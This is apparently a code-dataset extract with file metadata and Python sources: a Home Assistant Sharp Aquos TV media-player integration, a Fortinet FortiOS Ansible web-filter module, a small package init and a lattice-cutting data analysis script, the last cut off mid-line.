2021-12-21T23:08:05.000Z
"""Support for interface with an Aquos TV.""" import logging import sharp_aquos_rc import voluptuous as vol from homeassistant.components.media_player import PLATFORM_SCHEMA, MediaPlayerDevice from homeassistant.components.media_player.const import ( SUPPORT_NEXT_TRACK, SUPPORT_PAUSE, SUPPORT_PLAY, SUPPORT_PREVIOUS_TRACK, SUPPORT_SELECT_SOURCE, SUPPORT_TURN_OFF, SUPPORT_TURN_ON, SUPPORT_VOLUME_MUTE, SUPPORT_VOLUME_SET, SUPPORT_VOLUME_STEP, ) from homeassistant.const import ( CONF_HOST, CONF_NAME, CONF_PASSWORD, CONF_PORT, CONF_TIMEOUT, CONF_USERNAME, STATE_OFF, STATE_ON, ) import homeassistant.helpers.config_validation as cv _LOGGER = logging.getLogger(__name__) DEFAULT_NAME = "Sharp Aquos TV" DEFAULT_PORT = 10002 DEFAULT_USERNAME = "admin" DEFAULT_PASSWORD = "password" DEFAULT_TIMEOUT = 0.5 DEFAULT_RETRIES = 2 SUPPORT_SHARPTV = ( SUPPORT_TURN_OFF | SUPPORT_NEXT_TRACK | SUPPORT_PAUSE | SUPPORT_PREVIOUS_TRACK | SUPPORT_SELECT_SOURCE | SUPPORT_VOLUME_MUTE | SUPPORT_VOLUME_STEP | SUPPORT_VOLUME_SET | SUPPORT_PLAY ) PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( { vol.Required(CONF_HOST): cv.string, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port, vol.Optional(CONF_USERNAME, default=DEFAULT_USERNAME): cv.string, vol.Optional(CONF_PASSWORD, default=DEFAULT_PASSWORD): cv.string, vol.Optional(CONF_TIMEOUT, default=DEFAULT_TIMEOUT): cv.string, vol.Optional("retries", default=DEFAULT_RETRIES): cv.string, vol.Optional("power_on_enabled", default=False): cv.boolean, } ) SOURCES = { 0: "TV / Antenna", 1: "HDMI_IN_1", 2: "HDMI_IN_2", 3: "HDMI_IN_3", 4: "HDMI_IN_4", 5: "COMPONENT IN", 6: "VIDEO_IN_1", 7: "VIDEO_IN_2", 8: "PC_IN", } def setup_platform(hass, config, add_entities, discovery_info=None): """Set up the Sharp Aquos TV platform.""" name = config.get(CONF_NAME) port = config.get(CONF_PORT) username = config.get(CONF_USERNAME) password = config.get(CONF_PASSWORD) power_on_enabled = config.get("power_on_enabled") if discovery_info: _LOGGER.debug("%s", discovery_info) vals = discovery_info.split(":") if len(vals) > 1: port = vals[1] host = vals[0] remote = sharp_aquos_rc.TV(host, port, username, password, timeout=20) add_entities([SharpAquosTVDevice(name, remote, power_on_enabled)]) return True host = config.get(CONF_HOST) remote = sharp_aquos_rc.TV(host, port, username, password, 15, 1) add_entities([SharpAquosTVDevice(name, remote, power_on_enabled)]) return True def _retry(func): """Handle query retries.""" def wrapper(obj, *args, **kwargs): """Wrap all query functions.""" update_retries = 5 while update_retries > 0: try: func(obj, *args, **kwargs) break except (OSError, TypeError, ValueError): update_retries -= 1 if update_retries == 0: obj.set_state(STATE_OFF) return wrapper class SharpAquosTVDevice(MediaPlayerDevice): """Representation of a Aquos TV.""" def __init__(self, name, remote, power_on_enabled=False): """Initialize the aquos device.""" global SUPPORT_SHARPTV self._power_on_enabled = power_on_enabled if self._power_on_enabled: SUPPORT_SHARPTV = SUPPORT_SHARPTV | SUPPORT_TURN_ON # Save a reference to the imported class self._name = name # Assume that the TV is not muted self._muted = False self._state = None self._remote = remote self._volume = 0 self._source = None self._source_list = list(SOURCES.values()) def set_state(self, state): """Set TV state.""" self._state = state @_retry def update(self): """Retrieve the latest data.""" if self._remote.power() == 1: self._state = STATE_ON else: self._state = STATE_OFF # Set TV to be able to remotely power on if self._power_on_enabled: self._remote.power_on_command_settings(2) else: self._remote.power_on_command_settings(0) # Get mute state if self._remote.mute() == 2: self._muted = False else: self._muted = True # Get source self._source = SOURCES.get(self._remote.input()) # Get volume self._volume = self._remote.volume() / 60 @property def name(self): """Return the name of the device.""" return self._name @property def state(self): """Return the state of the device.""" return self._state @property def source(self): """Return the current source.""" return self._source @property def source_list(self): """Return the source list.""" return self._source_list @property def volume_level(self): """Volume level of the media player (0..1).""" return self._volume @property def is_volume_muted(self): """Boolean if volume is currently muted.""" return self._muted @property def supported_features(self): """Flag media player features that are supported.""" return SUPPORT_SHARPTV @_retry def turn_off(self): """Turn off tvplayer.""" self._remote.power(0) @_retry def volume_up(self): """Volume up the media player.""" self._remote.volume(int(self._volume * 60) + 2) @_retry def volume_down(self): """Volume down media player.""" self._remote.volume(int(self._volume * 60) - 2) @_retry def set_volume_level(self, volume): """Set Volume media player.""" self._remote.volume(int(volume * 60)) @_retry def mute_volume(self, mute): """Send mute command.""" self._remote.mute(0) @_retry def turn_on(self): """Turn the media player on.""" self._remote.power(1) @_retry def media_play_pause(self): """Simulate play pause media player.""" self._remote.remote_button(40) @_retry def media_play(self): """Send play command.""" self._remote.remote_button(16) @_retry def media_pause(self): """Send pause command.""" self._remote.remote_button(16) @_retry def media_next_track(self): """Send next track command.""" self._remote.remote_button(21) @_retry def media_previous_track(self): """Send the previous track command.""" self._remote.remote_button(19) def select_source(self, source): """Set the input source.""" for key, value in SOURCES.items(): if source == value: self._remote.input(key)
26.829545
84
0.624876
import logging import sharp_aquos_rc import voluptuous as vol from homeassistant.components.media_player import PLATFORM_SCHEMA, MediaPlayerDevice from homeassistant.components.media_player.const import ( SUPPORT_NEXT_TRACK, SUPPORT_PAUSE, SUPPORT_PLAY, SUPPORT_PREVIOUS_TRACK, SUPPORT_SELECT_SOURCE, SUPPORT_TURN_OFF, SUPPORT_TURN_ON, SUPPORT_VOLUME_MUTE, SUPPORT_VOLUME_SET, SUPPORT_VOLUME_STEP, ) from homeassistant.const import ( CONF_HOST, CONF_NAME, CONF_PASSWORD, CONF_PORT, CONF_TIMEOUT, CONF_USERNAME, STATE_OFF, STATE_ON, ) import homeassistant.helpers.config_validation as cv _LOGGER = logging.getLogger(__name__) DEFAULT_NAME = "Sharp Aquos TV" DEFAULT_PORT = 10002 DEFAULT_USERNAME = "admin" DEFAULT_PASSWORD = "password" DEFAULT_TIMEOUT = 0.5 DEFAULT_RETRIES = 2 SUPPORT_SHARPTV = ( SUPPORT_TURN_OFF | SUPPORT_NEXT_TRACK | SUPPORT_PAUSE | SUPPORT_PREVIOUS_TRACK | SUPPORT_SELECT_SOURCE | SUPPORT_VOLUME_MUTE | SUPPORT_VOLUME_STEP | SUPPORT_VOLUME_SET | SUPPORT_PLAY ) PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( { vol.Required(CONF_HOST): cv.string, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port, vol.Optional(CONF_USERNAME, default=DEFAULT_USERNAME): cv.string, vol.Optional(CONF_PASSWORD, default=DEFAULT_PASSWORD): cv.string, vol.Optional(CONF_TIMEOUT, default=DEFAULT_TIMEOUT): cv.string, vol.Optional("retries", default=DEFAULT_RETRIES): cv.string, vol.Optional("power_on_enabled", default=False): cv.boolean, } ) SOURCES = { 0: "TV / Antenna", 1: "HDMI_IN_1", 2: "HDMI_IN_2", 3: "HDMI_IN_3", 4: "HDMI_IN_4", 5: "COMPONENT IN", 6: "VIDEO_IN_1", 7: "VIDEO_IN_2", 8: "PC_IN", } def setup_platform(hass, config, add_entities, discovery_info=None): name = config.get(CONF_NAME) port = config.get(CONF_PORT) username = config.get(CONF_USERNAME) password = config.get(CONF_PASSWORD) power_on_enabled = config.get("power_on_enabled") if discovery_info: _LOGGER.debug("%s", discovery_info) vals = discovery_info.split(":") if len(vals) > 1: port = vals[1] host = vals[0] remote = sharp_aquos_rc.TV(host, port, username, password, timeout=20) add_entities([SharpAquosTVDevice(name, remote, power_on_enabled)]) return True host = config.get(CONF_HOST) remote = sharp_aquos_rc.TV(host, port, username, password, 15, 1) add_entities([SharpAquosTVDevice(name, remote, power_on_enabled)]) return True def _retry(func): def wrapper(obj, *args, **kwargs): update_retries = 5 while update_retries > 0: try: func(obj, *args, **kwargs) break except (OSError, TypeError, ValueError): update_retries -= 1 if update_retries == 0: obj.set_state(STATE_OFF) return wrapper class SharpAquosTVDevice(MediaPlayerDevice): def __init__(self, name, remote, power_on_enabled=False): global SUPPORT_SHARPTV self._power_on_enabled = power_on_enabled if self._power_on_enabled: SUPPORT_SHARPTV = SUPPORT_SHARPTV | SUPPORT_TURN_ON self._name = name self._muted = False self._state = None self._remote = remote self._volume = 0 self._source = None self._source_list = list(SOURCES.values()) def set_state(self, state): self._state = state @_retry def update(self): if self._remote.power() == 1: self._state = STATE_ON else: self._state = STATE_OFF if self._power_on_enabled: self._remote.power_on_command_settings(2) else: self._remote.power_on_command_settings(0) if self._remote.mute() == 2: self._muted = False else: self._muted = True self._source = SOURCES.get(self._remote.input()) self._volume = self._remote.volume() / 60 @property def name(self): return self._name @property def state(self): return self._state @property def source(self): return self._source @property def source_list(self): return self._source_list @property def volume_level(self): return self._volume @property def is_volume_muted(self): return self._muted @property def supported_features(self): return SUPPORT_SHARPTV @_retry def turn_off(self): self._remote.power(0) @_retry def volume_up(self): self._remote.volume(int(self._volume * 60) + 2) @_retry def volume_down(self): self._remote.volume(int(self._volume * 60) - 2) @_retry def set_volume_level(self, volume): self._remote.volume(int(volume * 60)) @_retry def mute_volume(self, mute): self._remote.mute(0) @_retry def turn_on(self): self._remote.power(1) @_retry def media_play_pause(self): self._remote.remote_button(40) @_retry def media_play(self): self._remote.remote_button(16) @_retry def media_pause(self): self._remote.remote_button(16) @_retry def media_next_track(self): self._remote.remote_button(21) @_retry def media_previous_track(self): self._remote.remote_button(19) def select_source(self, source): for key, value in SOURCES.items(): if source == value: self._remote.input(key)
true
true
f71f420d01f47ee2aae3767b5e08211606d22d13
10,364
py
Python
lib/python3.8/site-packages/ansible_collections/fortinet/fortios/plugins/modules/fortios_webfilter_ftgd_local_cat.py
cjsteel/python3-venv-ansible-2.10.5
c95395c4cae844dc66fddde9b4343966f4b2ecd5
[ "Apache-1.1" ]
null
null
null
lib/python3.8/site-packages/ansible_collections/fortinet/fortios/plugins/modules/fortios_webfilter_ftgd_local_cat.py
cjsteel/python3-venv-ansible-2.10.5
c95395c4cae844dc66fddde9b4343966f4b2ecd5
[ "Apache-1.1" ]
null
null
null
lib/python3.8/site-packages/ansible_collections/fortinet/fortios/plugins/modules/fortios_webfilter_ftgd_local_cat.py
cjsteel/python3-venv-ansible-2.10.5
c95395c4cae844dc66fddde9b4343966f4b2ecd5
[ "Apache-1.1" ]
null
null
null
#!/usr/bin/python from __future__ import (absolute_import, division, print_function) # Copyright 2019-2020 Fortinet, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. __metaclass__ = type ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'metadata_version': '1.1'} DOCUMENTATION = ''' --- module: fortios_webfilter_ftgd_local_cat short_description: Configure FortiGuard Web Filter local categories in Fortinet's FortiOS and FortiGate. description: - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the user to set and modify webfilter feature and ftgd_local_cat category. Examples include all parameters and values need to be adjusted to datasources before usage. Tested with FOS v6.0.0 version_added: "2.8" author: - Link Zheng (@chillancezen) - Jie Xue (@JieX19) - Hongbin Lu (@fgtdev-hblu) - Frank Shen (@frankshen01) - Miguel Angel Munoz (@mamunozgonzalez) - Nicolas Thomas (@thomnico) notes: - Legacy fortiosapi has been deprecated, httpapi is the preferred way to run playbooks requirements: - ansible>=2.9.0 options: access_token: description: - Token-based authentication. Generated from GUI of Fortigate. type: str required: false vdom: description: - Virtual domain, among those defined previously. A vdom is a virtual instance of the FortiGate that can be configured and used as a different unit. type: str default: root state: description: - Indicates whether to create or remove the object. This attribute was present already in previous version in a deeper level. It has been moved out to this outer level. type: str required: false choices: - present - absent version_added: 2.9 webfilter_ftgd_local_cat: description: - Configure FortiGuard Web Filter local categories. default: null type: dict suboptions: state: description: - B(Deprecated) - Starting with Ansible 2.9 we recommend using the top-level 'state' parameter. - HORIZONTALLINE - Indicates whether to create or remove the object. type: str required: false choices: - present - absent desc: description: - Local category description. required: true type: str id: description: - Local category ID. type: int status: description: - Enable/disable the local category. type: str choices: - enable - disable ''' EXAMPLES = ''' - hosts: fortigates collections: - fortinet.fortios connection: httpapi vars: vdom: "root" ansible_httpapi_use_ssl: yes ansible_httpapi_validate_certs: no ansible_httpapi_port: 443 tasks: - name: Configure FortiGuard Web Filter local categories. fortios_webfilter_ftgd_local_cat: vdom: "{{ vdom }}" state: "present" access_token: "<your_own_value>" webfilter_ftgd_local_cat: desc: "<your_own_value>" id: "4" status: "enable" ''' RETURN = ''' build: description: Build number of the fortigate image returned: always type: str sample: '1547' http_method: description: Last method used to provision the content into FortiGate returned: always type: str sample: 'PUT' http_status: description: Last result given by FortiGate on last operation applied returned: always type: str sample: "200" mkey: description: Master key (id) used in the last call to FortiGate returned: success type: str sample: "id" name: description: Name of the table used to fulfill the request returned: always type: str sample: "urlfilter" path: description: Path of the table used to fulfill the request returned: always type: str sample: "webfilter" revision: description: Internal revision number returned: always type: str sample: "17.0.2.10658" serial: description: Serial number of the unit returned: always type: str sample: "FGVMEVYYQT3AB5352" status: description: Indication of the operation's result returned: always type: str sample: "success" vdom: description: Virtual domain used returned: always type: str sample: "root" version: description: Version of the FortiGate returned: always type: str sample: "v5.6.3" ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import FortiOSHandler from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import check_legacy_fortiosapi from ansible_collections.fortinet.fortios.plugins.module_utils.fortimanager.common import FAIL_SOCKET_MSG def filter_webfilter_ftgd_local_cat_data(json): option_list = ['desc', 'id', 'status'] dictionary = {} for attribute in option_list: if attribute in json and json[attribute] is not None: dictionary[attribute] = json[attribute] return dictionary def underscore_to_hyphen(data): if isinstance(data, list): for i, elem in enumerate(data): data[i] = underscore_to_hyphen(elem) elif isinstance(data, dict): new_data = {} for k, v in data.items(): new_data[k.replace('_', '-')] = underscore_to_hyphen(v) data = new_data return data def webfilter_ftgd_local_cat(data, fos): vdom = data['vdom'] if 'state' in data and data['state']: state = data['state'] elif 'state' in data['webfilter_ftgd_local_cat'] and data['webfilter_ftgd_local_cat']['state']: state = data['webfilter_ftgd_local_cat']['state'] else: state = True webfilter_ftgd_local_cat_data = data['webfilter_ftgd_local_cat'] filtered_data = underscore_to_hyphen(filter_webfilter_ftgd_local_cat_data(webfilter_ftgd_local_cat_data)) if state == "present": return fos.set('webfilter', 'ftgd-local-cat', data=filtered_data, vdom=vdom) elif state == "absent": return fos.delete('webfilter', 'ftgd-local-cat', mkey=filtered_data['desc'], vdom=vdom) else: fos._module.fail_json(msg='state must be present or absent!') def is_successful_status(status): return status['status'] == "success" or \ status['http_method'] == "DELETE" and status['http_status'] == 404 def fortios_webfilter(data, fos): if data['webfilter_ftgd_local_cat']: resp = webfilter_ftgd_local_cat(data, fos) else: fos._module.fail_json(msg='missing task body: %s' % ('webfilter_ftgd_local_cat')) return not is_successful_status(resp), \ resp['status'] == "success" and \ (resp['revision_changed'] if 'revision_changed' in resp else True), \ resp def main(): mkeyname = 'desc' fields = { "access_token": {"required": False, "type": "str", "no_log": True}, "vdom": {"required": False, "type": "str", "default": "root"}, "state": {"required": False, "type": "str", "choices": ["present", "absent"]}, "webfilter_ftgd_local_cat": { "required": False, "type": "dict", "default": None, "options": { "state": {"required": False, "type": "str", "choices": ["present", "absent"]}, "desc": {"required": True, "type": "str"}, "id": {"required": False, "type": "int"}, "status": {"required": False, "type": "str", "choices": ["enable", "disable"]} } } } check_legacy_fortiosapi() module = AnsibleModule(argument_spec=fields, supports_check_mode=False) versions_check_result = None if module._socket_path: connection = Connection(module._socket_path) if 'access_token' in module.params: connection.set_option('access_token', module.params['access_token']) fos = FortiOSHandler(connection, module, mkeyname) is_error, has_changed, result = fortios_webfilter(module.params, fos) versions_check_result = connection.get_system_version() else: module.fail_json(**FAIL_SOCKET_MSG) if versions_check_result and versions_check_result['matched'] is False: module.warn("Ansible has detected version mismatch between FortOS system and galaxy, see more details by specifying option -vvv") if not is_error: if versions_check_result and versions_check_result['matched'] is False: module.exit_json(changed=has_changed, version_check_warning=versions_check_result, meta=result) else: module.exit_json(changed=has_changed, meta=result) else: if versions_check_result and versions_check_result['matched'] is False: module.fail_json(msg="Error in repo", version_check_warning=versions_check_result, meta=result) else: module.fail_json(msg="Error in repo", meta=result) if __name__ == '__main__': main()
32.3875
137
0.631513
from __future__ import (absolute_import, division, print_function) __metaclass__ = type ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'metadata_version': '1.1'} DOCUMENTATION = ''' --- module: fortios_webfilter_ftgd_local_cat short_description: Configure FortiGuard Web Filter local categories in Fortinet's FortiOS and FortiGate. description: - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the user to set and modify webfilter feature and ftgd_local_cat category. Examples include all parameters and values need to be adjusted to datasources before usage. Tested with FOS v6.0.0 version_added: "2.8" author: - Link Zheng (@chillancezen) - Jie Xue (@JieX19) - Hongbin Lu (@fgtdev-hblu) - Frank Shen (@frankshen01) - Miguel Angel Munoz (@mamunozgonzalez) - Nicolas Thomas (@thomnico) notes: - Legacy fortiosapi has been deprecated, httpapi is the preferred way to run playbooks requirements: - ansible>=2.9.0 options: access_token: description: - Token-based authentication. Generated from GUI of Fortigate. type: str required: false vdom: description: - Virtual domain, among those defined previously. A vdom is a virtual instance of the FortiGate that can be configured and used as a different unit. type: str default: root state: description: - Indicates whether to create or remove the object. This attribute was present already in previous version in a deeper level. It has been moved out to this outer level. type: str required: false choices: - present - absent version_added: 2.9 webfilter_ftgd_local_cat: description: - Configure FortiGuard Web Filter local categories. default: null type: dict suboptions: state: description: - B(Deprecated) - Starting with Ansible 2.9 we recommend using the top-level 'state' parameter. - HORIZONTALLINE - Indicates whether to create or remove the object. type: str required: false choices: - present - absent desc: description: - Local category description. required: true type: str id: description: - Local category ID. type: int status: description: - Enable/disable the local category. type: str choices: - enable - disable ''' EXAMPLES = ''' - hosts: fortigates collections: - fortinet.fortios connection: httpapi vars: vdom: "root" ansible_httpapi_use_ssl: yes ansible_httpapi_validate_certs: no ansible_httpapi_port: 443 tasks: - name: Configure FortiGuard Web Filter local categories. fortios_webfilter_ftgd_local_cat: vdom: "{{ vdom }}" state: "present" access_token: "<your_own_value>" webfilter_ftgd_local_cat: desc: "<your_own_value>" id: "4" status: "enable" ''' RETURN = ''' build: description: Build number of the fortigate image returned: always type: str sample: '1547' http_method: description: Last method used to provision the content into FortiGate returned: always type: str sample: 'PUT' http_status: description: Last result given by FortiGate on last operation applied returned: always type: str sample: "200" mkey: description: Master key (id) used in the last call to FortiGate returned: success type: str sample: "id" name: description: Name of the table used to fulfill the request returned: always type: str sample: "urlfilter" path: description: Path of the table used to fulfill the request returned: always type: str sample: "webfilter" revision: description: Internal revision number returned: always type: str sample: "17.0.2.10658" serial: description: Serial number of the unit returned: always type: str sample: "FGVMEVYYQT3AB5352" status: description: Indication of the operation's result returned: always type: str sample: "success" vdom: description: Virtual domain used returned: always type: str sample: "root" version: description: Version of the FortiGate returned: always type: str sample: "v5.6.3" ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import FortiOSHandler from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import check_legacy_fortiosapi from ansible_collections.fortinet.fortios.plugins.module_utils.fortimanager.common import FAIL_SOCKET_MSG def filter_webfilter_ftgd_local_cat_data(json): option_list = ['desc', 'id', 'status'] dictionary = {} for attribute in option_list: if attribute in json and json[attribute] is not None: dictionary[attribute] = json[attribute] return dictionary def underscore_to_hyphen(data): if isinstance(data, list): for i, elem in enumerate(data): data[i] = underscore_to_hyphen(elem) elif isinstance(data, dict): new_data = {} for k, v in data.items(): new_data[k.replace('_', '-')] = underscore_to_hyphen(v) data = new_data return data def webfilter_ftgd_local_cat(data, fos): vdom = data['vdom'] if 'state' in data and data['state']: state = data['state'] elif 'state' in data['webfilter_ftgd_local_cat'] and data['webfilter_ftgd_local_cat']['state']: state = data['webfilter_ftgd_local_cat']['state'] else: state = True webfilter_ftgd_local_cat_data = data['webfilter_ftgd_local_cat'] filtered_data = underscore_to_hyphen(filter_webfilter_ftgd_local_cat_data(webfilter_ftgd_local_cat_data)) if state == "present": return fos.set('webfilter', 'ftgd-local-cat', data=filtered_data, vdom=vdom) elif state == "absent": return fos.delete('webfilter', 'ftgd-local-cat', mkey=filtered_data['desc'], vdom=vdom) else: fos._module.fail_json(msg='state must be present or absent!') def is_successful_status(status): return status['status'] == "success" or \ status['http_method'] == "DELETE" and status['http_status'] == 404 def fortios_webfilter(data, fos): if data['webfilter_ftgd_local_cat']: resp = webfilter_ftgd_local_cat(data, fos) else: fos._module.fail_json(msg='missing task body: %s' % ('webfilter_ftgd_local_cat')) return not is_successful_status(resp), \ resp['status'] == "success" and \ (resp['revision_changed'] if 'revision_changed' in resp else True), \ resp def main(): mkeyname = 'desc' fields = { "access_token": {"required": False, "type": "str", "no_log": True}, "vdom": {"required": False, "type": "str", "default": "root"}, "state": {"required": False, "type": "str", "choices": ["present", "absent"]}, "webfilter_ftgd_local_cat": { "required": False, "type": "dict", "default": None, "options": { "state": {"required": False, "type": "str", "choices": ["present", "absent"]}, "desc": {"required": True, "type": "str"}, "id": {"required": False, "type": "int"}, "status": {"required": False, "type": "str", "choices": ["enable", "disable"]} } } } check_legacy_fortiosapi() module = AnsibleModule(argument_spec=fields, supports_check_mode=False) versions_check_result = None if module._socket_path: connection = Connection(module._socket_path) if 'access_token' in module.params: connection.set_option('access_token', module.params['access_token']) fos = FortiOSHandler(connection, module, mkeyname) is_error, has_changed, result = fortios_webfilter(module.params, fos) versions_check_result = connection.get_system_version() else: module.fail_json(**FAIL_SOCKET_MSG) if versions_check_result and versions_check_result['matched'] is False: module.warn("Ansible has detected version mismatch between FortOS system and galaxy, see more details by specifying option -vvv") if not is_error: if versions_check_result and versions_check_result['matched'] is False: module.exit_json(changed=has_changed, version_check_warning=versions_check_result, meta=result) else: module.exit_json(changed=has_changed, meta=result) else: if versions_check_result and versions_check_result['matched'] is False: module.fail_json(msg="Error in repo", version_check_warning=versions_check_result, meta=result) else: module.fail_json(msg="Error in repo", meta=result) if __name__ == '__main__': main()
true
true
f71f426681d3d3e22fb9c11f435ae1635177faa0
135
py
Python
helloworld_core/__init__.py
datadistillr/jupyter_integration_base
76202e63208593d411c735d6e54790157bdd400a
[ "Apache-2.0" ]
5
2020-06-18T14:16:57.000Z
2020-11-17T18:49:57.000Z
helloworld_core/__init__.py
JohnOmernik/jupyter_integration_base
b998db6036b739fc8cdf2a0c761485950858194c
[ "Apache-2.0" ]
1
2021-10-23T01:57:08.000Z
2021-10-23T01:57:08.000Z
helloworld_core/__init__.py
datadistillr/jupyter_integration_base
76202e63208593d411c735d6e54790157bdd400a
[ "Apache-2.0" ]
2
2021-04-12T19:50:52.000Z
2021-04-22T09:25:05.000Z
from addon_core import Addon from helloworld_core.helloworld_base import Helloworld from helloworld_core._version import __version__
22.5
54
0.881481
from addon_core import Addon from helloworld_core.helloworld_base import Helloworld from helloworld_core._version import __version__
true
true
f71f436e490f03025f48fefe039e4f6dab564d10
3,560
py
Python
triangular_lattice/diecutting/result_n2.py
ssh0/growing-string
2e43916e91157dfb4253775149b35ec9d81ef14d
[ "MIT" ]
null
null
null
triangular_lattice/diecutting/result_n2.py
ssh0/growing-string
2e43916e91157dfb4253775149b35ec9d81ef14d
[ "MIT" ]
1
2016-04-14T08:15:28.000Z
2016-04-27T02:57:13.000Z
triangular_lattice/diecutting/result_n2.py
ssh0/growing-string
2e43916e91157dfb4253775149b35ec9d81ef14d
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding:utf-8 -*- # # written by Shotaro Fujimoto # 2016-12-07 import matplotlib.pyplot as plt # from mpl_toolkits.mplot3d.axes3d import Axes3D import matplotlib.cm as cm import numpy as np from scipy.optimize import curve_fit from scipy.stats import gamma import set_data_path def load_data(_path): data = np.load(_path) beta = data['beta'] try: size_dist_ave = data['size_dist_ave'] return load_data_averaged(_path) except KeyError: pass num_of_strings = data['num_of_strings'] frames = data['frames'] Ls = data['Ls'].astype(np.float) # Ls = (3 * Ls * (Ls + 1) + 1) size_dist = data['size_dist'] N0 = np.array([l[1] for l in size_dist], dtype=np.float) / num_of_strings n0 = N0[1:] S = np.array([np.sum(l) for l in size_dist], dtype=np.float) / num_of_strings n1 = (S[1:] - n0) * 2. N = [] for l in size_dist: dot = np.dot(np.arange(len(l)), np.array(l).T) N.append(dot) # N = np.array([np.dot(np.arange(len(l)), np.array(l).T) for l in size_dist]) N_all = 3. * Ls * (Ls + 1.) + 1 N = np.array(N, dtype=np.float) / num_of_strings N_minus = N_all - N N_minus_rate = N_minus / N_all n_minus = N_minus[1:] - N_minus[:-1] n1_ave = n1 / np.sum(n1) n2 = (6 * Ls[1:]) - (n0 + n1 + n_minus) return { 'beta': beta, 'num_of_strings': num_of_strings, 'frames': frames, 'Ls': Ls, 'N_minus': N_minus, 'N_minus_rate': N_minus_rate, 'S': S, 'n0': n0, 'n1': n1, 'n2': n2, 'n_minus': n_minus, 'n1_ave': n1_ave, } def load_data_averaged(_path): data = np.load(_path) beta = data['beta'] num_of_strings = data['num_of_strings'] frames = data['frames'] Ls = data['Ls'].astype(np.float) # Ls = (3 * Ls * (Ls + 1) + 1) # size_dist = data['size_dist'] size_dist_ave = data['size_dist_ave'] N0 = np.array([l[1] for l in size_dist_ave], dtype=np.float) n0 = N0[1:] S = np.array([np.sum(l) for l in size_dist_ave], dtype=np.float) n1 = (S[1:] - n0) * 2. N = [] for l in size_dist_ave: dot = np.dot(np.arange(len(l)), np.array(l).T) N.append(dot) # N = np.array([np.dot(np.arange(len(l)), np.array(l).T) for l in size_dist_ave]) N_all = 3. * Ls * (Ls + 1.) + 1 N = np.array(N, dtype=np.float) N_minus = N_all - N N_minus_rate = N_minus / N_all n_minus = N_minus[1:] - N_minus[:-1] n1_ave = n1 / np.sum(n1) n2 = (6 * Ls[1:]) - (n0 + n1 + n_minus) return { 'beta': beta, 'num_of_strings': num_of_strings, 'frames': frames, 'Ls': Ls, 'N_minus': N_minus, 'N_minus_rate': N_minus_rate, 'S': S, 'n0': n0, 'n1': n1, 'n2': n2, 'n_minus': n_minus, 'n1_ave': n1_ave, } def result_n2(path): fig, ax = plt.subplots() for i, result_data_path in enumerate(path): globals().update(load_data(result_data_path)) ax.plot(Ls[1:], n2, '.', label=r'$\beta = %2.2f$' % beta, color=cm.viridis(float(i) / len(path))) ax.legend(loc='best') ax.set_title('Averaged number of the sites on the cutting edges which \ is connected to two neighbors.' + ' (sample: {})'.format(num_of_strings)) ax.set_xlabel(r'Cutting size $L$') ax.set_ylabel(r'$n_{2}$') plt.show() if __name__ == '__main__': result_n2(set_data_path.data_path)
26.969697
85
0.560393
import matplotlib.pyplot as plt import matplotlib.cm as cm import numpy as np from scipy.optimize import curve_fit from scipy.stats import gamma import set_data_path def load_data(_path): data = np.load(_path) beta = data['beta'] try: size_dist_ave = data['size_dist_ave'] return load_data_averaged(_path) except KeyError: pass num_of_strings = data['num_of_strings'] frames = data['frames'] Ls = data['Ls'].astype(np.float) size_dist = data['size_dist'] N0 = np.array([l[1] for l in size_dist], dtype=np.float) / num_of_strings n0 = N0[1:] S = np.array([np.sum(l) for l in size_dist], dtype=np.float) / num_of_strings n1 = (S[1:] - n0) * 2. N = [] for l in size_dist: dot = np.dot(np.arange(len(l)), np.array(l).T) N.append(dot) N_all = 3. * Ls * (Ls + 1.) + 1 N = np.array(N, dtype=np.float) / num_of_strings N_minus = N_all - N N_minus_rate = N_minus / N_all n_minus = N_minus[1:] - N_minus[:-1] n1_ave = n1 / np.sum(n1) n2 = (6 * Ls[1:]) - (n0 + n1 + n_minus) return { 'beta': beta, 'num_of_strings': num_of_strings, 'frames': frames, 'Ls': Ls, 'N_minus': N_minus, 'N_minus_rate': N_minus_rate, 'S': S, 'n0': n0, 'n1': n1, 'n2': n2, 'n_minus': n_minus, 'n1_ave': n1_ave, } def load_data_averaged(_path): data = np.load(_path) beta = data['beta'] num_of_strings = data['num_of_strings'] frames = data['frames'] Ls = data['Ls'].astype(np.float) size_dist_ave = data['size_dist_ave'] N0 = np.array([l[1] for l in size_dist_ave], dtype=np.float) n0 = N0[1:] S = np.array([np.sum(l) for l in size_dist_ave], dtype=np.float) n1 = (S[1:] - n0) * 2. N = [] for l in size_dist_ave: dot = np.dot(np.arange(len(l)), np.array(l).T) N.append(dot) N_all = 3. * Ls * (Ls + 1.) + 1 N = np.array(N, dtype=np.float) N_minus = N_all - N N_minus_rate = N_minus / N_all n_minus = N_minus[1:] - N_minus[:-1] n1_ave = n1 / np.sum(n1) n2 = (6 * Ls[1:]) - (n0 + n1 + n_minus) return { 'beta': beta, 'num_of_strings': num_of_strings, 'frames': frames, 'Ls': Ls, 'N_minus': N_minus, 'N_minus_rate': N_minus_rate, 'S': S, 'n0': n0, 'n1': n1, 'n2': n2, 'n_minus': n_minus, 'n1_ave': n1_ave, } def result_n2(path): fig, ax = plt.subplots() for i, result_data_path in 